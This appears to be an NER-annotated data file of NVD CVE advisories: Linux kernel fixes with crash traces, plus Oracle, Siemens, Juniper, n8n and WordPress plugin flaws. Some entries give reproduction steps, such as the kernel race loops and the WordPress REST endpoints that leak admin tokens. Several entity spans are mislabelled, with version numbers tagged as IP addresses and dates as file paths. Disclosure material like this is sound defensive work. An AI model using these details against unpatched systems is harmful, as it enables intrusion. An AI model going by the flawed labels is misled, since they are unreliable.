{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmrp: introduce active flags to prevent UAF when applicant uninit\n\nThe caller of del_timer_sync must prevent restarting of the timer, If\nwe have no this synchronization, there is a small probability that the\ncancellation will not be successful.\n\nAnd syzbot report the fellowing crash:\n==================================================================\nBUG: KASAN: use-after-free in hlist_add_head include/linux/list.h:929 [inline]\nBUG: KASAN: use-after-free in enqueue_timer+0x18/0xa4 kernel/time/timer.c:605\nWrite at addr f9ff000024df6058 by task syz-fuzzer/2256\nPointer tag: [f9], memory tag: [fe]\n\nCPU: 1 PID: 2256 Comm: syz-fuzzer Not tainted 6.1.0-rc5-syzkaller-00008-\nge01d50cbd6ee #0\nHardware name: linux,dummy-virt (DT)\nCall trace:\n dump_backtrace.part.0+0xe0/0xf0 arch/arm64/kernel/stacktrace.c:156\n dump_backtrace arch/arm64/kernel/stacktrace.c:162 [inline]\n show_stack+0x18/0x40 arch/arm64/kernel/stacktrace.c:163\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x68/0x84 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:284 [inline]\n print_report+0x1a8/0x4a0 mm/kasan/report.c:395\n kasan_report+0x94/0xb4 mm/kasan/report.c:495\n __do_kernel_fault+0x164/0x1e0 arch/arm64/mm/fault.c:320\n do_bad_area arch/arm64/mm/fault.c:473 [inline]\n do_tag_check_fault+0x78/0x8c arch/arm64/mm/fault.c:749\n do_mem_abort+0x44/0x94 arch/arm64/mm/fault.c:825\n el1_abort+0x40/0x60 arch/arm64/kernel/entry-common.c:367\n el1h_64_sync_handler+0xd8/0xe4 arch/arm64/kernel/entry-common.c:427\n el1h_64_sync+0x64/0x68 arch/arm64/kernel/entry.S:576\n hlist_add_head include/linux/list.h:929 [inline]\n enqueue_timer+0x18/0xa4 kernel/time/timer.c:605\n mod_timer+0x14/0x20 kernel/time/timer.c:1161\n mrp_periodic_timer_arm net/802/mrp.c:614 [inline]\n mrp_periodic_timer+0xa0/0xc0 net/802/mrp.c:627\n call_timer_fn.constprop.0+0x24/0x80 kernel/time/timer.c:1474\n expire_timers+0x98/0xc4 kernel/time/timer.c:1519\n\nTo fix it, we can introduce a new active flags to make sure the timer will\nnot restart.", "spans": {"FILEPATH: /linux/list.h": [[472, 485], [1650, 1663]], "FILEPATH: /time/timer.c": [[559, 572], [1708, 1721], [1753, 1766], [1914, 1927], [1964, 1977]], "FILEPATH: /arm64/kernel/stacktrace.c": [[845, 871], [896, 922], [962, 988]], "FILEPATH: /kasan/report.c": [[1112, 1127], [1169, 1184], [1215, 1230]], "FILEPATH: /arm64/mm/fault.c": [[1270, 1287], [1309, 1326], [1374, 1391], [1424, 1441]], "FILEPATH: /arm64/kernel/entry-common.c": [[1471, 1499], [1540, 1568]], "FILEPATH: /arm64/kernel/entry.S": [[1601, 1622]], "FILEPATH: /802/mrp.c": [[1799, 1809], [1856, 1866]], "FILEPATH: dump_stack.c": [[1011, 1023], [1066, 1078]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[432, 446], [511, 525]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50697"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Fix NULL pointer dereference in VRAM logic for APU devices\n\nPreviously, APU platforms (and other scenarios with uninitialized VRAM managers)\ntriggered a NULL pointer dereference in `ttm_resource_manager_usage()`. The root\ncause is not that the `struct ttm_resource_manager *man` pointer itself is NULL,\nbut that `man->bdev` (the backing device pointer within the manager) remains\nuninitialized (NULL) on APUs—since APUs lack dedicated VRAM and do not fully\nset up VRAM manager structures. When `ttm_resource_manager_usage()` attempts to\nacquire `man->bdev->lru_lock`, it dereferences the NULL `man->bdev`, leading to\na kernel OOPS.\n\n1. **amdgpu_cs.c**: Extend the existing bandwidth control check in\n   `amdgpu_cs_get_threshold_for_moves()` to include a check for\n   `ttm_resource_manager_used()`. If the manager is not used (uninitialized\n   `bdev`), return 0 for migration thresholds immediately—skipping VRAM-specific\n   logic that would trigger the NULL dereference.\n\n2. **amdgpu_kms.c**: Update the `AMDGPU_INFO_VRAM_USAGE` ioctl and memory info\n   reporting to use a conditional: if the manager is used, return the real VRAM\n   usage; otherwise, return 0. This avoids accessing `man->bdev` when it is\n   NULL.\n\n3. **amdgpu_virt.c**: Modify the vf2pf (virtual function to physical function)\n   data write path. Use `ttm_resource_manager_used()` to check validity: if the\n   manager is usable, calculate `fb_usage` from VRAM usage; otherwise, set\n   `fb_usage` to 0 (APUs have no discrete framebuffer to report).\n\nThis approach is more robust than APU-specific checks because it:\n- Works for all scenarios where the VRAM manager is uninitialized (not just APUs),\n- Aligns with TTM's design by using its native helper function,\n- Preserves correct behavior for discrete GPUs (which have fully initialized\n  `man->bdev` and pass the `ttm_resource_manager_used()` check).\n\nv4: use ttm_resource_manager_used(&adev->mman.vram_mgr.manager) instead of checking the adev->gmc.is_app_apu flag (Christian)", "spans": {"FILEPATH: amdgpu_cs.c": [[719, 730]], "FILEPATH: amdgpu_kms.c": [[1058, 1070]], "FILEPATH: amdgpu_virt.c": [[1303, 1316]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[85, 109], [234, 258]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40288"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/osnoise: Use a cpumask to know what threads are kthreads\n\nThe start_kthread() and stop_thread() code was not always called with the\ninterface_lock held. This means that the kthread variable could be\nunexpectedly changed causing the kthread_stop() to be called on it when it\nshould not have been, leading to:\n\n while true; do\n   rtla timerlat top -u -q & PID=$!;\n   sleep 5;\n   kill -INT $PID;\n   sleep 0.001;\n   kill -TERM $PID;\n   wait $PID;\n  done\n\nCausing the following OOPS:\n\n Oops: general protection fault, probably for non-canonical address 0xdffffc0000000002: 0000 [#1] PREEMPT SMP KASAN PTI\n KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]\n CPU: 5 UID: 0 PID: 885 Comm: timerlatu/5 Not tainted 6.11.0-rc4-test-00002-gbc754cc76d1b-dirty #125 a533010b71dab205ad2f507188ce8c82203b0254\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n RIP: 0010:hrtimer_active+0x58/0x300\n Code: 48 c1 ee 03 41 54 48 01 d1 48 01 d6 55 53 48 83 ec 20 80 39 00 0f 85 30 02 00 00 49 8b 6f 30 4c 8d 75 10 4c 89 f0 48 c1 e8 03 <0f> b6 3c 10 4c 89 f0 83 e0 07 83 c0 03 40 38 f8 7c 09 40 84 ff 0f\n RSP: 0018:ffff88811d97f940 EFLAGS: 00010202\n RAX: 0000000000000002 RBX: ffff88823c6b5b28 RCX: ffffed10478d6b6b\n RDX: dffffc0000000000 RSI: ffffed10478d6b6c RDI: ffff88823c6b5b28\n RBP: 0000000000000000 R08: ffff88823c6b5b58 R09: ffff88823c6b5b60\n R10: ffff88811d97f957 R11: 0000000000000010 R12: 00000000000a801d\n R13: ffff88810d8b35d8 R14: 0000000000000010 R15: ffff88823c6b5b28\n FS:  0000000000000000(0000) GS:ffff88823c680000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000561858ad7258 CR3: 000000007729e001 CR4: 0000000000170ef0\n Call Trace:\n  <TASK>\n  ? die_addr+0x40/0xa0\n  ? exc_general_protection+0x154/0x230\n  ? asm_exc_general_protection+0x26/0x30\n  ? hrtimer_active+0x58/0x300\n  ? __pfx_mutex_lock+0x10/0x10\n  ? __pfx_locks_remove_file+0x10/0x10\n  hrtimer_cancel+0x15/0x40\n  timerlat_fd_release+0x8e/0x1f0\n  ? security_file_release+0x43/0x80\n  __fput+0x372/0xb10\n  task_work_run+0x11e/0x1f0\n  ? _raw_spin_lock+0x85/0xe0\n  ? __pfx_task_work_run+0x10/0x10\n  ? poison_slab_object+0x109/0x170\n  ? do_exit+0x7a0/0x24b0\n  do_exit+0x7bd/0x24b0\n  ? __pfx_migrate_enable+0x10/0x10\n  ? __pfx_do_exit+0x10/0x10\n  ? __pfx_read_tsc+0x10/0x10\n  ? ktime_get+0x64/0x140\n  ? _raw_spin_lock_irq+0x86/0xe0\n  do_group_exit+0xb0/0x220\n  get_signal+0x17ba/0x1b50\n  ? vfs_read+0x179/0xa40\n  ? timerlat_fd_read+0x30b/0x9d0\n  ? __pfx_get_signal+0x10/0x10\n  ? __pfx_timerlat_fd_read+0x10/0x10\n  arch_do_signal_or_restart+0x8c/0x570\n  ? __pfx_arch_do_signal_or_restart+0x10/0x10\n  ? vfs_read+0x179/0xa40\n  ? ksys_read+0xfe/0x1d0\n  ? __pfx_ksys_read+0x10/0x10\n  syscall_exit_to_user_mode+0xbc/0x130\n  do_syscall_64+0x74/0x110\n  ? __pfx___rseq_handle_notify_resume+0x10/0x10\n  ? __pfx_ksys_read+0x10/0x10\n  ? fpregs_restore_userregs+0xdb/0x1e0\n  ? fpregs_restore_userregs+0xdb/0x1e0\n  ? syscall_exit_to_user_mode+0x116/0x130\n  ? do_syscall_64+0x74/0x110\n  ? do_syscall_64+0x74/0x110\n  ? do_syscall_64+0x74/0x110\n  entry_SYSCALL_64_after_hwframe+0x71/0x79\n RIP: 0033:0x7ff0070eca9c\n Code: Unable to access opcode bytes at 0x7ff0070eca72.\n RSP: 002b:00007ff006dff8c0 EFLAGS: 00000246 ORIG_RAX: 0000000000000000\n RAX: 0000000000000000 RBX: 0000000000000005 RCX: 00007ff0070eca9c\n RDX: 0000000000000400 RSI: 00007ff006dff9a0 RDI: 0000000000000003\n RBP: 00007ff006dffde0 R08: 0000000000000000 R09: 00007ff000000ba0\n R10: 00007ff007004b08 R11: 0000000000000246 R12: 0000000000000003\n R13: 00007ff006dff9a0 R14: 0000000000000007 R15: 0000000000000008\n  </TASK>\n Modules linked in: snd_hda_intel snd_intel_dspcfg snd_intel_sdw_acpi snd_hda_codec snd_hwdep snd_hda_core\n ---[ end trace 0000000000000000 ]---\n\nThis is because it would mistakenly call kthread_stop() on a user space\nthread making it \"exit\" before it actually exits.\n\nSince kthread\n---truncated---", "spans": {"HASH: a533010b71dab205ad2f507188ce8c82203b0254": [[850, 890]], "FILEPATH: /01/2014": [[974, 982]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[907, 911]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46788"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: gadget: Fix use-after-free Read in usb_udc_uevent()\n\nThe syzbot fuzzer found a race between uevent callbacks and gadget\ndriver unregistration that can cause a use-after-free bug:\n\n---------------------------------------------------------------\nBUG: KASAN: use-after-free in usb_udc_uevent+0x11f/0x130\ndrivers/usb/gadget/udc/core.c:1732\nRead of size 8 at addr ffff888078ce2050 by task udevd/2968\n\nCPU: 1 PID: 2968 Comm: udevd Not tainted 5.19.0-rc4-next-20220628-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google\n06/29/2022\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xcd/0x134 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:317 [inline]\n print_report.cold+0x2ba/0x719 mm/kasan/report.c:433\n kasan_report+0xbe/0x1f0 mm/kasan/report.c:495\n usb_udc_uevent+0x11f/0x130 drivers/usb/gadget/udc/core.c:1732\n dev_uevent+0x290/0x770 drivers/base/core.c:2424\n---------------------------------------------------------------\n\nThe bug occurs because usb_udc_uevent() dereferences udc->driver but\ndoes so without acquiring the udc_lock mutex, which protects this\nfield.  If the gadget driver is unbound from the udc concurrently with\nuevent processing, the driver structure may be accessed after it has\nbeen deallocated.\n\nTo prevent the race, we make sure that the routine holds the mutex\naround the racing accesses.", "spans": {"FILEPATH: /usb/gadget/udc/core.c": [[382, 404], [943, 965]], "FILEPATH: /29/2022": [[630, 638]], "FILEPATH: /kasan/report.c": [[779, 794], [841, 856], [888, 903]], "FILEPATH: /base/core.c": [[1002, 1014]], "FILEPATH: dump_stack.c": [[677, 689], [733, 745]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[564, 570], [571, 577], [593, 599], [621, 627]], "VULNERABILITY: use-after-free": [[86, 100], [233, 247], [330, 344]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49980"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). Supported versions that are affected are 8.5.4 and 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data as well as unauthorized read access to a subset of Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS score depend on the software that uses the Outside In Technology code. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology code, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [285, 291], [449, 455], [545, 551], [669, 675]], "VULNERABILITY: denial of service": [[634, 651]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2069"}}
{"text": "A vulnerability has been identified in LOGO! 12/24RCE (6ED1052-1MD08-0BA1) (All versions), LOGO! 12/24RCE (6ED1052-1MD08-0BA2) (All versions), LOGO! 12/24RCEo (6ED1052-2MD08-0BA1) (All versions), LOGO! 12/24RCEo (6ED1052-2MD08-0BA2) (All versions), LOGO! 230RCE (6ED1052-1FB08-0BA1) (All versions), LOGO! 230RCE (6ED1052-1FB08-0BA2) (All versions), LOGO! 230RCEo (6ED1052-2FB08-0BA1) (All versions), LOGO! 230RCEo (6ED1052-2FB08-0BA2) (All versions), LOGO! 24CE (6ED1052-1CC08-0BA1) (All versions), LOGO! 24CE (6ED1052-1CC08-0BA2) (All versions), LOGO! 24CEo (6ED1052-2CC08-0BA1) (All versions), LOGO! 24CEo (6ED1052-2CC08-0BA2) (All versions), LOGO! 24RCE (6ED1052-1HB08-0BA1) (All versions), LOGO! 24RCE (6ED1052-1HB08-0BA2) (All versions), LOGO! 24RCEo (6ED1052-2HB08-0BA1) (All versions), LOGO! 24RCEo (6ED1052-2HB08-0BA2) (All versions), SIPLUS LOGO! 12/24RCE (6AG1052-1MD08-7BA1) (All versions), SIPLUS LOGO! 12/24RCE (6AG1052-1MD08-7BA2) (All versions), SIPLUS LOGO! 12/24RCEo (6AG1052-2MD08-7BA1) (All versions), SIPLUS LOGO! 12/24RCEo (6AG1052-2MD08-7BA2) (All versions), SIPLUS LOGO! 230RCE (6AG1052-1FB08-7BA1) (All versions), SIPLUS LOGO! 230RCE (6AG1052-1FB08-7BA2) (All versions), SIPLUS LOGO! 230RCEo (6AG1052-2FB08-7BA1) (All versions), SIPLUS LOGO! 230RCEo (6AG1052-2FB08-7BA2) (All versions), SIPLUS LOGO! 24CE (6AG1052-1CC08-7BA1) (All versions), SIPLUS LOGO! 24CE (6AG1052-1CC08-7BA2) (All versions), SIPLUS LOGO! 24CEo (6AG1052-2CC08-7BA1) (All versions), SIPLUS LOGO! 24CEo (6AG1052-2CC08-7BA2) (All versions), SIPLUS LOGO! 24RCE (6AG1052-1HB08-7BA1) (All versions), SIPLUS LOGO! 24RCE (6AG1052-1HB08-7BA2) (All versions), SIPLUS LOGO! 24RCEo (6AG1052-2HB08-7BA1) (All versions), SIPLUS LOGO! 24RCEo (6AG1052-2HB08-7BA2) (All versions). Affected devices do not conduct certain validations when interacting with them. This could allow an unauthenticated remote attacker to manipulate the devices IP address, which means the device would not be reachable and could only be recovered by power cycling the device.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36362"}}
{"text": "A Use of an Uninitialized Resource vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a local, authenticated attacker with low privileges to cause a Denial of Service (DoS).\n\nOn all Junos OS and Junos OS Evolved platforms, in a Multicast only Fast Reroute (MoFRR) scenario, the rpd process can crash when a a specific low privileged CLI command is executed. The rpd crash will impact all routing protocols until the process has automatically been restarted. As the operational state which makes this issue exploitable is outside the attackers control, this issue is considered difficult to exploit. Continued execution of this command will lead to a sustained DoS.\n\nThis issue affects:\nJuniper Networks Junos OS\n19.4 version 19.4R3-S5 and later versions prior to 19.4R3-S9;\n20.1 version 20.1R2 and later versions;\n20.2 versions prior to 20.2R3-S7;\n20.3 versions prior to 20.3R3-S5;\n20.4 versions prior to 20.4R3-S6;\n21.1 versions prior to 21.1R3-S4;\n21.2 versions prior to 21.2R3-S2;\n21.3 versions prior to 21.3R3-S1;\n21.4 versions prior to 21.4R3;\n22.1 versions prior to 22.1R1-S2, 22.1R2;\n22.2 versions prior to 22.2R2.\n\nJuniper Networks Junos OS Evolved\nAll versions prior to 20.4R3-S6-EVO;\n21.1-EVO version 21.1R1-EVO and later versions;\n21.2-EVO version 21.2R1-EVO and later versions;\n21.3-EVO versions prior to 21.3R3-S1-EVO;\n21.4-EVO versions prior to 21.4R3-EVO;\n22.1-EVO versions prior to 22.1R1-S2-EVO, 22.1R2-EVO;\n22.2-EVO versions prior to 22.2R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[89, 96], [743, 750], [1180, 1187]], "VULNERABILITY: Denial of Service": [[206, 223]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-36836"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: entry: fix ARM64_WORKAROUND_SPECULATIVE_UNPRIV_LOAD\n\nCurrently the ARM64_WORKAROUND_SPECULATIVE_UNPRIV_LOAD workaround isn't\nquite right, as it is supposed to be applied after the last explicit\nmemory access, but is immediately followed by an LDR.\n\nThe ARM64_WORKAROUND_SPECULATIVE_UNPRIV_LOAD workaround is used to\nhandle Cortex-A520 erratum 2966298 and Cortex-A510 erratum 3117295,\nwhich are described in:\n\n* https://developer.arm.com/documentation/SDEN2444153/0600/?lang=en\n* https://developer.arm.com/documentation/SDEN1873361/1600/?lang=en\n\nIn both cases the workaround is described as:\n\n| If pagetable isolation is disabled, the context switch logic in the\n| kernel can be updated to execute the following sequence on affected\n| cores before exiting to EL0, and after all explicit memory accesses:\n|\n| 1. A non-shareable TLBI to any context and/or address, including\n|    unused contexts or addresses, such as a `TLBI VALE1 Xzr`.\n|\n| 2. A DSB NSH to guarantee completion of the TLBI.\n\nThe important part being that the TLBI+DSB must be placed \"after all\nexplicit memory accesses\".\n\nUnfortunately, as-implemented, the TLBI+DSB is immediately followed by\nan LDR, as we have:\n\n| alternative_if ARM64_WORKAROUND_SPECULATIVE_UNPRIV_LOAD\n| \ttlbi\tvale1, xzr\n| \tdsb\tnsh\n| alternative_else_nop_endif\n| alternative_if_not ARM64_UNMAP_KERNEL_AT_EL0\n| \tldr\tlr, [sp, #S_LR]\n| \tadd\tsp, sp, #PT_REGS_SIZE\t\t// restore sp\n| \teret\n| alternative_else_nop_endif\n|\n| [ ... KPTI exception return path ... ]\n\nThis patch fixes this by reworking the logic to place the TLBI+DSB\nimmediately before the ERET, after all explicit memory accesses.\n\nThe ERET is currently in a separate alternative block, and alternatives\ncannot be nested. To account for this, the alternative block for\nARM64_UNMAP_KERNEL_AT_EL0 is replaced with a single alternative branch\nto skip the KPTI logic, with the new shape of the logic being:\n\n| alternative_insn \"b .L_skip_tramp_exit_\\@\", nop, ARM64_UNMAP_KERNEL_AT_EL0\n| \t[ ... KPTI exception return path ... ]\n| .L_skip_tramp_exit_\\@:\n|\n| \tldr\tlr, [sp, #S_LR]\n| \tadd\tsp, sp, #PT_REGS_SIZE\t\t// restore sp\n|\n| alternative_if ARM64_WORKAROUND_SPECULATIVE_UNPRIV_LOAD\n| \ttlbi\tvale1, xzr\n| \tdsb\tnsh\n| alternative_else_nop_endif\n| \teret\n\nThe new structure means that the workaround is only applied when KPTI is\nnot in use; this is fine as noted in the documented implications of the\nerratum:\n\n| Pagetable isolation between EL0 and higher level ELs prevents the\n| issue from occurring.\n\n... and as per the workaround description quoted above, the workaround\nis only necessary \"If pagetable isolation is disabled\".", "spans": {"URL: https://developer.arm.com/documentation/SDEN2444153/0600/?lang=en": [[487, 552]], "URL: https://developer.arm.com/documentation/SDEN1873361/1600/?lang=en": [[555, 620]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26670"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Java SE: 7u291, 8u281, 11.0.10, 16; Java SE Embedded: 8u281; Oracle GraalVM Enterprise Edition: 19.3.5, 20.3.1.2 and 21.0.0.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Java SE, Java SE Embedded, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. It can also be exploited by supplying untrusted data to APIs in the specified Component. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).", "spans": {"IP_ADDRESS: 20.3.1.2": [[277, 285]], "IP_ADDRESS: 21.0.0.2": [[290, 298]], "SYSTEM: Java": [[21, 25], [30, 34], [100, 104], [173, 177], [209, 213], [424, 428], [433, 437], [620, 624], [629, 633], [734, 738], [842, 846]], "ORGANIZATION: Oracle": [[48, 54], [93, 99], [234, 240], [451, 457], [647, 653]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2161"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncgroup/cpuset: Prevent UAF in proc_cpuset_show()\n\nAn UAF can happen when /proc/cpuset is read as reported in [1].\n\nThis can be reproduced by the following methods:\n1.add an mdelay(1000) before acquiring the cgroup_lock In the\n cgroup_path_ns function.\n2.$cat /proc/<pid>/cpuset   repeatly.\n3.$mount -t cgroup -o cpuset cpuset /sys/fs/cgroup/cpuset/\n$umount /sys/fs/cgroup/cpuset/   repeatly.\n\nThe race that cause this bug can be shown as below:\n\n(umount)\t\t|\t(cat /proc/<pid>/cpuset)\ncss_release\t\t|\tproc_cpuset_show\ncss_release_work_fn\t|\tcss = task_get_css(tsk, cpuset_cgrp_id);\ncss_free_rwork_fn\t|\tcgroup_path_ns(css->cgroup, ...);\ncgroup_destroy_root\t|\tmutex_lock(&cgroup_mutex);\nrebind_subsystems\t|\ncgroup_free_root \t|\n\t\t\t|\t// cgrp was freed, UAF\n\t\t\t|\tcgroup_path_ns_locked(cgrp,..);\n\nWhen the cpuset is initialized, the root node top_cpuset.css.cgrp\nwill point to &cgrp_dfl_root.cgrp. In cgroup v1, the mount operation will\nallocate cgroup_root, and top_cpuset.css.cgrp will point to the allocated\n&cgroup_root.cgrp. When the umount operation is executed,\ntop_cpuset.css.cgrp will be rebound to &cgrp_dfl_root.cgrp.\n\nThe problem is that when rebinding to cgrp_dfl_root, there are cases\nwhere the cgroup_root allocated by setting up the root for cgroup v1\nis cached. This could lead to a Use-After-Free (UAF) if it is\nsubsequently freed. The descendant cgroups of cgroup v1 can only be\nfreed after the css is released. However, the css of the root will never\nbe released, yet the cgroup_root should be freed when it is unmounted.\nThis means that obtaining a reference to the css of the root does\nnot guarantee that css.cgrp->root will not be freed.\n\nFix this problem by using rcu_read_lock in proc_cpuset_show().\nAs cgroup_root is kfree_rcu after commit d23b5c577715\n(\"cgroup: Make operations on the cgroup root_list RCU safe\"),\ncss->cgroup won't be freed during the critical section.\nTo call cgroup_path_ns_locked, css_set_lock is needed, so it is safe to\nreplace task_get_css with task_css.\n\n[1] https://syzkaller.appspot.com/bug?extid=9b1ff7be974a403aa4cd", "spans": {"URL: https://syzkaller.appspot.com/bug?extid=9b1ff7be974a403aa4cd": [[2069, 2129]], "FILEPATH: /proc/cpuset": [[142, 154]], "FILEPATH: /sys/fs/cgroup/cpuset": [[395, 416], [426, 447]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: Use-After-Free": [[1359, 1373]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43853"}}
{"text": "n8n is an open source workflow automation platform. Prior to versions 2.10.1, 2.9.3, and 1.123.22, additional exploits in the expression evaluation of n8n have been identified and patched following CVE-2025-68613. An authenticated user with permission to create or modify workflows could abuse crafted expressions in workflow parameters to trigger unintended system command execution on the host running n8n. The issues have been fixed in n8n versions 2.10.1, 2.9.3, and 1.123.22. Users should upgrade to one of these versions or later to remediate all known vulnerabilities. If upgrading is not immediately possible, administrators should consider the following temporary mitigations. Limit workflow creation and editing permissions to fully trusted users only, and/or deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.", "spans": {"CVE_ID: CVE-2025-68613": [[198, 212]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27577"}}
{"text": "Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Fusion Middleware (component: Analytics Actions). Supported versions that are affected are 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Business Intelligence Enterprise Edition. CVSS 3.0 Base Score 7.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L).", "spans": {"IP_ADDRESS: 12.2.1.3": [[178, 186]], "IP_ADDRESS: 12.2.1.4": [[193, 201]], "ORGANIZATION: Oracle": [[21, 27], [80, 86], [313, 319], [479, 485], [693, 699], [808, 814], [951, 957]], "VULNERABILITY: denial of service": [[916, 933]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2537"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gem: Zero-initialize the eb.vma array in i915_gem_do_execbuffer\n\nInitialize the eb.vma array with values of 0 when the eb structure is\nfirst set up. In particular, this sets the eb->vma[i].vma pointers to\nNULL, simplifying cleanup and getting rid of the bug described below.\n\nDuring the execution of eb_lookup_vmas(), the eb->vma array is\nsuccessively filled up with struct eb_vma objects. This process includes\ncalling eb_add_vma(), which might fail; however, even in the event of\nfailure, eb->vma[i].vma is set for the currently processed buffer.\n\nIf eb_add_vma() fails, eb_lookup_vmas() returns with an error, which\nprompts a call to eb_release_vmas() to clean up the mess. Since\neb_lookup_vmas() might fail during processing any (possibly not first)\nbuffer, eb_release_vmas() checks whether a buffer's vma is NULL to know\nat what point did the lookup function fail.\n\nIn eb_lookup_vmas(), eb->vma[i].vma is set to NULL if either the helper\nfunction eb_lookup_vma() or eb_validate_vma() fails. eb->vma[i+1].vma is\nset to NULL in case i915_gem_object_userptr_submit_init() fails; the\ncurrent one needs to be cleaned up by eb_release_vmas() at this point,\nso the next one is set. If eb_add_vma() fails, neither the current nor\nthe next vma is set to NULL, which is a source of a NULL deref bug\ndescribed in the issue linked in the Closes tag.\n\nWhen entering eb_lookup_vmas(), the vma pointers are set to the slab\npoison value, instead of NULL. This doesn't matter for the actual\nlookup, since it gets overwritten anyway, however the eb_release_vmas()\nfunction only recognizes NULL as the stopping value, hence the pointers\nare being set to NULL as they go in case of intermediate failure. This\npatch changes the approach to filling them all with NULL at the start\ninstead, rather than handling that manually during failure.\n\n(cherry picked from commit 08889b706d4f0b8d2352b7ca29c2d8df4d0787cd)", "spans": {"HASH: 08889b706d4f0b8d2352b7ca29c2d8df4d0787cd": [[1930, 1970]], "FILEPATH: /i915/gem": [[72, 81]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71130"}}
{"text": "The Appointment Booking Calendar — Simply Schedule Appointments plugin for WordPress is vulnerable to unauthorized access of sensitive data in all versions up to and including 1.6.9.29. This is due to two compounding weaknesses: (1) a non-user-bound `public_nonce` is exposed to unauthenticated users through the public `/wp-json/ssa/v1/embed-inner` REST endpoint, and (2) the `get_item()` method in `SSA_Settings_Api` relies on `nonce_permissions_check()` for authorization (which accepts the public nonce) but does not call `remove_unauthorized_settings_for_current_user()` to filter restricted fields. This makes it possible for unauthenticated attackers to access admin-only plugin settings including the administrator email, phone number, internal access tokens, notification configurations, and developer settings via the `/wp-json/ssa/v1/settings/{section}` endpoint. The exposure of appointment tokens also allows an attacker to modify or cancel appointments.", "spans": {"IP_ADDRESS: 1.6.9.29": [[176, 184]], "FILEPATH: /wp-json/ssa/v1/embed-inner": [[321, 348]], "FILEPATH: /wp-json/ssa/v1/settings": [[829, 853]], "SYSTEM: WordPress": [[75, 84]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3045"}}
